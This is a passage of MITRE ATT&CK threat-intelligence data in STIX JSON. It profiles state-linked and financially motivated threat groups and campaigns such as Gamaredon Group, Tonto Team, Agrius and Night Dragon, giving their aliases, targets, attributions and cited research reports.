2018","url":"https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf","description":"Karim, T. (2018, August). TRAILS OF WINDSHIFT. Retrieved June 25, 2020."},{"source_name":"objective-see windtail1 dec 2018","url":"https://objective-see.com/blog/blog_0x3B.html","description":"Wardle, Patrick. (2018, December 20). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 1). Retrieved October 3, 2019."},{"source_name":"objective-see windtail2 jan 2019","url":"https://objective-see.com/blog/blog_0x3D.html","description":"Wardle, Patrick. (2019, January 15). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 2). Retrieved October 3, 2019."}],"modified":"2021-04-26T14:37:33.234Z","name":"Windshift","description":"[Windshift](https://attack.mitre.org/groups/G0112) is a threat group that has been active since at least 2017, targeting specific individuals for surveillance in government departments and critical infrastructure across the Middle East.(Citation: SANS Windshift August 2018)(Citation: objective-see windtail1 dec 2018)(Citation: objective-see windtail2 jan 2019)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-09-22T20:43:16.504Z","name":"Confucius","description":"[Confucius](https://attack.mitre.org/groups/G0142) is a cyber espionage group that has primarily targeted military personnel, high-profile personalities, business persons, and government organizations in South Asia since at least 2013. Security researchers have noted similarities between [Confucius](https://attack.mitre.org/groups/G0142) and [Patchwork](https://attack.mitre.org/groups/G0040), particularly in their respective custom malware code and targets.(Citation: TrendMicro Confucius APT Feb 2018)(Citation: TrendMicro Confucius APT Aug 2021)(Citation: Uptycs Confucius APT Jan 2021)","aliases":["Confucius","Confucius APT"],"x_mitre_deprecated":false,"x_mitre_version":"1.1","type":"intrusion-set","id":"intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f","created":"2021-12-26T23:11:39.442Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0142","external_id":"G0142"},{"source_name":"TrendMicro Confucius APT Feb 2018","description":"Lunghi, D and Horejsi, J. (2018, February 13). Deciphering Confucius: A Look at the Group's Cyberespionage Operations. Retrieved December 26, 2021.","url":"https://www.trendmicro.com/en_us/research/18/b/deciphering-confucius-cyberespionage-operations.html"},{"source_name":"TrendMicro Confucius APT Aug 2021","description":"Lunghi, D. (2021, August 17). Confucius Uses Pegasus Spyware-related Lures to Target Pakistani Military. Retrieved December 26, 2021.","url":"https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html"},{"source_name":"Uptycs Confucius APT Jan 2021","description":"Uptycs Threat Research Team. (2021, January 12). Confucius APT deploys Warzone RAT. Retrieved December 17, 2021.","url":"https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack","mobile-attack"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T22:33:06.500Z","name":"Threat Group-3390","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) is a Chinese threat group that has extensively used strategic Web compromises to target victims.(Citation: Dell TG-3390) The group has been active since at least 2010 and has targeted organizations in the aerospace, government, defense, technology, energy, manufacturing and gambling/betting sectors.(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Securelist LuckyMouse June 2018)(Citation: Trend Micro DRBControl February 2020)","aliases":["Threat Group-3390","Earth Smilodon","TG-3390","Emissary Panda","BRONZE UNION","APT27","Iron Tiger","LuckyMouse"],"x_mitre_deprecated":false,"x_mitre_version":"2.2","x_mitre_contributors":["Daniyal Naeem, BT Security","Kyaw Pyiyt Htet, @KyawPyiytHtet"],"type":"intrusion-set","id":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","created":"2017-05-31T21:31:58.518Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0027","external_id":"G0027"},{"source_name":"Threat Group-3390","description":"(Citation: Dell TG-3390)(Citation: Hacker News LuckyMouse June 2018)"},{"source_name":"TG-3390","description":"(Citation: Dell TG-3390)(Citation: Nccgroup Emissary Panda May 2018)(Citation: Hacker News LuckyMouse June 2018)"},{"source_name":"Emissary Panda","description":"(Citation: Gallagher 2015)(Citation: Nccgroup Emissary Panda May 2018)(Citation: Securelist LuckyMouse June 2018)(Citation: Hacker News LuckyMouse June 2018)(Citation: Unit42 Emissary Panda May 2019)(Citation: Trend Micro Iron Tiger April 2021)"},{"source_name":"Iron Tiger","description":"(Citation: Hacker News LuckyMouse June 2018)(Citation: Trend Micro Iron Tiger April 2021)"},{"source_name":"APT27","description":"(Citation: Nccgroup Emissary Panda May 2018)(Citation: Securelist LuckyMouse June 2018)(Citation: Hacker News LuckyMouse June 2018)(Citation: Trend Micro Iron Tiger April 2021)"},{"source_name":"LuckyMouse","description":"(Citation: Securelist LuckyMouse June 2018)(Citation: Hacker News LuckyMouse June 2018)(Citation: Trend Micro Iron Tiger April 2021)"},{"source_name":"BRONZE UNION","description":"(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Nccgroup Emissary Panda May 2018)"},{"source_name":"Earth Smilodon","description":"(Citation: Trend Micro Iron Tiger April 2021)"},{"source_name":"SecureWorks BRONZE UNION June 2017","description":"Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.","url":"https://www.secureworks.com/research/bronze-union"},{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"},{"source_name":"Unit42 Emissary Panda May 2019","description":"Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.","url":"https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/"},{"source_name":"Gallagher 2015","description":"Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as “watering holes”. Retrieved January 25, 2016.","url":"http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/"},{"source_name":"Hacker News LuckyMouse June 2018","description":"Khandelwal, S. (2018, June 14). Chinese Hackers Carried Out Country-Level Watering Hole Attack. Retrieved August 18, 2018.","url":"https://thehackernews.com/2018/06/chinese-watering-hole-attack.html"},{"source_name":"Securelist LuckyMouse June 2018","description":"Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.","url":"https://securelist.com/luckymouse-hits-national-data-center/86083/"},{"source_name":"Trend Micro Iron Tiger April 2021","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021.","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html"},{"source_name":"Trend Micro DRBControl February 2020","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf"},{"source_name":"Nccgroup Emissary Panda May 2018","description":"Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda – A potential new malicious tool. Retrieved June 25, 2018.","url":"https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Tonto Team","Earth Akhlut","BRONZE HUNTLEY","CactusPete","Karma Panda"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960","type":"intrusion-set","created":"2021-05-05T17:18:25.987Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0131","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0131"},{"source_name":"Tonto Team","description":"(Citation: Talos Bisonal Mar 2020) "},{"source_name":"Earth Akhlut","description":"(Citation: TrendMicro Tonto Team October 2020)"},{"source_name":"BRONZE HUNTLEY","description":"(Citation: Secureworks BRONZE HUNTLEY )"},{"source_name":"CactusPete","description":"(Citation: Kaspersky CactusPete Aug 2020)"},{"source_name":"Karma Panda","description":"(Citation: Kaspersky CactusPete Aug 2020)(Citation: CrowdStrike Manufacturing Threat July 2020)"},{"source_name":"Kaspersky CactusPete Aug 2020","url":"https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/","description":"Zykov, K. (2020, August 13). CactusPete APT group’s updated Bisonal backdoor. Retrieved May 5, 2021."},{"source_name":"ESET Exchange Mar 2021","url":"https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/","description":"Faou, M., Tartare, M., Dupuy, T. (2021, March 10). Exchange servers under siege from at least 10 APT groups. Retrieved May 21, 2021."},{"source_name":"FireEye Chinese Espionage October 2019","url":"https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf","description":"Nalani Fraser, Kelli Vanderlee. (2019, October 10). Achievement Unlocked - Chinese Cyber Espionage Evolves to Support Higher Level Missions. Retrieved October 17, 2021."},{"source_name":"ARS Technica China Hack SK April 2017","url":"https://arstechnica.com/information-technology/2017/04/researchers-claim-china-trying-to-hack-south-korea-missile-defense-efforts/","description":"Sean Gallagher. (2017, April 21). Researchers claim China trying to hack South Korea missile defense efforts. Retrieved October 17, 2021."},{"source_name":"Trend Micro HeartBeat Campaign January 2013","url":"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the-heartbeat-apt-campaign.pdf?","description":"Roland Dela Paz. (2003, January 3). The HeartBeat APT Campaign. Retrieved October 17, 2021."},{"source_name":"Talos Bisonal 10 Years March 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Warren Mercer, Paul Rascagneres, Vitor Ventura. (2020, March 6). Bisonal 10 Years of Play. Retrieved October 17, 2021."},{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."},{"source_name":"TrendMicro Tonto Team October 2020","url":"https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf","description":"Daniel Lughi, Jaromir Horejsi. (2020, October 2). Tonto Team - Exploring the TTPs of an advanced threat actor operating a large infrastructure. Retrieved October 17, 2021."},{"source_name":"Secureworks BRONZE HUNTLEY ","url":"https://www.secureworks.com/research/threat-profiles/bronze-huntley","description":"Secureworks. (2021, January 1). BRONZE HUNTLEY Threat Profile. Retrieved May 5, 2021."},{"source_name":"CrowdStrike Manufacturing Threat July 2020","url":"https://www.crowdstrike.com/blog/adversaries-targeting-the-manufacturing-industry/","description":"Falcon OverWatch Team. (2020, July 14). Manufacturing Industry in the Adversaries’ Crosshairs. Retrieved October 17, 2021."}],"modified":"2022-01-27T17:51:41.433Z","name":"Tonto Team","description":"[Tonto Team](https://attack.mitre.org/groups/G0131) is a suspected Chinese state-sponsored cyber espionage threat group that has primarily targeted South Korea, Japan, Taiwan, and the United States since at least 2009; by 2020 they expanded operations to include other Asian as well as Eastern European countries. [Tonto Team](https://attack.mitre.org/groups/G0131) has targeted government, military, energy, mining, financial, education, healthcare, and technology organizations, including through the Heartbeat Campaign (2009-2012) and Operation Bitter Biscuit (2017).(Citation: Kaspersky CactusPete Aug 2020)(Citation: ESET Exchange Mar 2021)(Citation: FireEye Chinese Espionage October 2019)(Citation: ARS Technica China Hack SK April 2017)(Citation: Trend Micro HeartBeat Campaign January 2013)(Citation: Talos Bisonal 10 Years March 2020)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-23T20:34:43.022Z","name":"Gamaredon Group","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) is a suspected Russian cyber espionage threat group that has targeted military, NGO, judiciary, law enforcement, and non-profit organizations in Ukraine since at least 2013. The name [Gamaredon Group](https://attack.mitre.org/groups/G0047) comes from a misspelling of the word \"Armageddon\", which was detected in the adversary's early campaigns.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec Shuckworm January 2022)(Citation: Microsoft Actinium February 2022)\n\nIn November 2021, the Ukrainian government publicly attributed [Gamaredon Group](https://attack.mitre.org/groups/G0047) to Russia's Federal Security Service (FSB) Center 18.(Citation: Bleepingcomputer Gamardeon FSB November 2021)(Citation: Microsoft Actinium February 2022)","aliases":["Gamaredon Group","IRON TILDEN","Primitive Bear","ACTINIUM","Armageddon","Shuckworm","DEV-0157","Aqua Blizzard"],"x_mitre_deprecated":false,"x_mitre_version":"3.1","x_mitre_contributors":["ESET","Trend Micro Incorporated","Yoshihiro Kori, NEC Corporation","Manikantan Srinivasan, NEC Corporation India","Pooja Natarajan, NEC Corporation India"],"type":"intrusion-set","id":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","created":"2017-05-31T21:32:09.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0047","external_id":"G0047"},{"source_name":"ACTINIUM","description":"(Citation: Microsoft Actinium February 2022)"},{"source_name":"DEV-0157","description":"(Citation: Microsoft Actinium February 2022)"},{"source_name":"Aqua Blizzard","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"Gamaredon Group","description":"(Citation: Palo Alto Gamaredon Feb 2017)"},{"source_name":"IRON TILDEN","description":"(Citation: Secureworks IRON TILDEN Profile)"},{"source_name":"Armageddon","description":"(Citation: Symantec Shuckworm January 2022)"},{"source_name":"Shuckworm","description":"(Citation: Symantec Shuckworm January 2022)"},{"source_name":"Primitive Bear","description":"(Citation: Unit 42 Gamaredon February 2022)"},{"source_name":"ESET Gamaredon June 2020","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/"},{"source_name":"TrendMicro Gamaredon April 2020","description":"Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/"},{"source_name":"Palo Alto Gamaredon Feb 2017","description":"Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"Microsoft Actinium February 2022","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022.","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/"},{"source_name":"Secureworks IRON TILDEN Profile","description":"Secureworks CTU. (n.d.). IRON TILDEN. Retrieved February 24, 2022.","url":"https://www.secureworks.com/research/threat-profiles/iron-tilden"},{"source_name":"Symantec Shuckworm January 2022","description":"Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine"},{"source_name":"Bleepingcomputer Gamardeon FSB November 2021","description":"Toulas, B. (2018, November 4). Ukraine links members of Gamaredon hacker group to Russian FSB. Retrieved April 15, 2022.","url":"https://www.bleepingcomputer.com/news/security/ukraine-links-members-of-gamaredon-hacker-group-to-russian-fsb/"},{"source_name":"Unit 42 Gamaredon February 2022","description":"Unit 42. (2022, February 3). Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022.","url":"https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:36:23.822Z","name":"Night Dragon","description":"[Night Dragon](https://attack.mitre.org/campaigns/C0002) was a cyber espionage campaign that targeted oil, energy, and petrochemical companies, along with individuals and executives in Kazakhstan, Taiwan, Greece, and the United States. The unidentified threat actors searched for information related to oil and gas field production systems, financials, and collected data from SCADA systems. Based on the observed techniques, tools, and network activities, security researchers assessed the campaign involved a threat group based in China.(Citation: McAfee Night Dragon)","aliases":["Night Dragon"],"first_seen":"2009-11-01T04:00:00.000Z","last_seen":"2011-02-01T05:00:00.000Z","x_mitre_first_seen_citation":"(Citation: McAfee Night Dragon)","x_mitre_last_seen_citation":"(Citation: McAfee Night Dragon)","x_mitre_deprecated":false,"x_mitre_version":"1.1","type":"campaign","id":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","created":"2022-09-08T13:31:37.391Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0002","external_id":"C0002"},{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["enterprise-attack"]},{"modified":"2023-04-06T20:25:30.658Z","name":"Operation Ghost","description":"[Operation Ghost](https://attack.mitre.org/campaigns/C0023) was an [APT29](https://attack.mitre.org/groups/G0016) campaign starting in 2013 that included operations against ministries of foreign affairs in Europe and the Washington, D.C. embassy of a European Union country. During [Operation Ghost](https://attack.mitre.org/campaigns/C0023), [APT29](https://attack.mitre.org/groups/G0016) used new families of malware and leveraged web services, steganography, and unique C2 infrastructure for each victim.(Citation: ESET Dukes October 2019)\n","aliases":["Operation Ghost"],"first_seen":"2013-09-01T04:00:00.000Z","last_seen":"2019-10-01T04:00:00.000Z","x_mitre_first_seen_citation":"(Citation: ESET Dukes October 2019)","x_mitre_last_seen_citation":"(Citation: ESET Dukes October 2019)","x_mitre_deprecated":false,"x_mitre_version":"1.0","type":"campaign","id":"campaign--7854c1a0-f06c-4876-98a4-4bbd34751b05","created":"2023-03-23T17:51:58.539Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0023","external_id":"C0023"},{"source_name":"ESET Dukes October 2019","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["enterprise-attack"]},{"modified":"2024-08-29T15:18:44.308Z","name":"Agrius","description":"[Agrius](https://attack.mitre.org/groups/G1030) is an Iranian threat actor active since 2020 notable for a series of ransomware and wiper operations in the Middle East, with an emphasis on Israeli targets.(Citation: SentinelOne Agrius 2021)(Citation: CheckPoint Agrius 2023) Public reporting has linked [Agrius](https://attack.mitre.org/groups/G1030) to Iran's Ministry of Intelligence and Security (MOIS).(Citation: Microsoft Iran Cyber 2023)","aliases":["Agrius","Pink Sandstorm","AMERICIUM","Agonizing Serpens","BlackShadow"],"x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_contributors":["Asritha Narina"],"type":"intrusion-set","id":"intrusion-set--b8137919-38cb-4db0-90f3-437be885faba","created":"2024-05-21T19:13:23.526Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1030","external_id":"G1030"},{"source_name":"BlackShadow","description":"(Citation: CheckPoint Agrius 2023)"},{"source_name":"Pink Sandstorm","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"AMERICIUM","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"Agonizing Serpens","description":"(Citation: Unit42 Agrius 2023)"},{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"},{"source_name":"CheckPoint Agrius 2023","description":"Marc Salinas Fernandez & Jiri Vinopal. (2023, May 23). AGRIUS DEPLOYS MONEYBIRD IN TARGETED ATTACKS AGAINST ISRAELI ORGANIZATIONS. Retrieved May 21, 2024.","url":"https://research.checkpoint.com/2023/agrius-deploys-moneybird-in-targeted-attacks-against-israeli-organizations/"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"Microsoft Iran Cyber 2023","description":"Microsoft Threat Intelligence. (2023, May 2). Iran turning to cyber-enabled influence operations for greater effect. Retrieved May 21, 2024.","url":"https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/05/Iran-turning-to-cyber-enabled-influence-operations-for-greater-effect-05022023.pdf"},{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-02-09T19:30:38.407Z","name":"Rancor","description":"[Rancor](https://attack.mitre.org/groups/G0075) is a threat group that has led targeted campaigns against the South East Asia region. [Rancor](https://attack.mitre.org/groups/G0075) uses politically-motivated lures to entice victims to open malicious documents. (Citation: Rancor Unit42 June 2018)","aliases":["Rancor"],"x_mitre_deprecated":false,"x_mitre_version":"1.3","type":"intrusion-set","id":"intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0075","external_id":"G0075"},{"source_name":"Rancor","description":"(Citation: Rancor Unit42 June 2018)"},{"source_name":"Rancor Unit42 June 2018","description":"Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-01T11:51:31.065Z","name":"Moonstone Sleet","description":"[Moonstone Sleet](https://attack.mitre.org/groups/G1036) is a North Korean-linked threat actor executing both financially motivated attacks and espionage operations. The group previously overlapped significantly with another North Korean-linked entity, [Lazarus Group](https://attack.mitre.org/groups/G0032), but has differentiated its tradecraft since 2023. [Moonstone Sleet](https://attack.mitre.org/groups/G1036) is notable for creating fake companies and personas to interact with victim entities, as well as developing unique malware such as a variant delivered via a fully functioning game.(Citation: Microsoft Moonstone Sleet 2024)","aliases":["Moonstone Sleet","Storm-1789"],"x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_contributors":["Aung Kyaw Min Naing, @Nolan"],"type":"intrusion-set","id":"intrusion-set--e6db1e55-b199-4b6b-8633-989345ee45e0","created":"2024-08-26T17:39:06.020Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1036","external_id":"G1036"},{"source_name":"Storm-1789","description":"(Citation: Microsoft Moonstone Sleet 2024)"},{"source_name":"Microsoft Moonstone Sleet 2024","description":"Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-22T05:40:21.255Z","name":"TA551","description":"[TA551](https://attack.mitre.org/groups/G0127) is a financially-motivated threat group that has been active since at least 2018. (Citation: Secureworks GOLD CABIN) The group has primarily targeted English, German, Italian, and Japanese speakers through email-based malware distribution campaigns. (Citation: Unit 42 TA551 Jan 2021)","aliases":["TA551","GOLD CABIN","Shathak"],"x_mitre_deprecated":false,"x_mitre_version":"1.2","x_mitre_contributors":["Shuhei Sasada, Cyber Defense Institute, Inc","Ryo Tamura, SecureBrain Corporation","Shotaro Hamamoto, NEC Solution Innovators, Ltd","Yusuke Niwa, ITOCHU Corporation","Takuma Matsumoto, LAC Co., Ltd"],"type":"intrusion-set","id":"intrusion-set--94873029-f950-4268-9cfd-5032e15cb182","created":"2021-03-19T21:04:00.692Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0127","external_id":"G0127"},{"source_name":"GOLD CABIN","description":"(Citation: Secureworks GOLD CABIN)"},{"source_name":"Shathak","description":"(Citation: Unit 42 Valak July 2020)(Citation: Unit 42 TA551 Jan 2021)"},{"source_name":"Unit 42 Valak July 2020","description":"Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020.","url":"https://unit42.paloaltonetworks.com/valak-evolution/"},{"source_name":"Unit 42 TA551 Jan 2021","description":"Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021.","url":"https://unit42.paloaltonetworks.com/ta551-shathak-icedid/"},{"source_name":"Secureworks GOLD CABIN","description":"Secureworks. (n.d.). GOLD CABIN Threat Profile. Retrieved March 17, 2021.","url":"https://www.secureworks.com/research/threat-profiles/gold-cabin"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--1dad5aa4-4bb5-45e4-9e42-55d40003cfa6","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.275Z","name":"Certificate Registration","description":"Queried or logged information highlighting current and expired digital certificates (ex: Certificate transparency)","x_mitre_data_source_ref":"x-mitre-data-source--29aa4e0e-4a26-4f79-a9bc-1ae66df1c923","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-28T19:02:30.340Z","name":"Water Curupira Pikabot Distribution","description":"[Pikabot](https://attack.mitre.org/software/S1145) was distributed in [Water Curupira Pikabot Distribution](https://attack.mitre.org/campaigns/C0037) 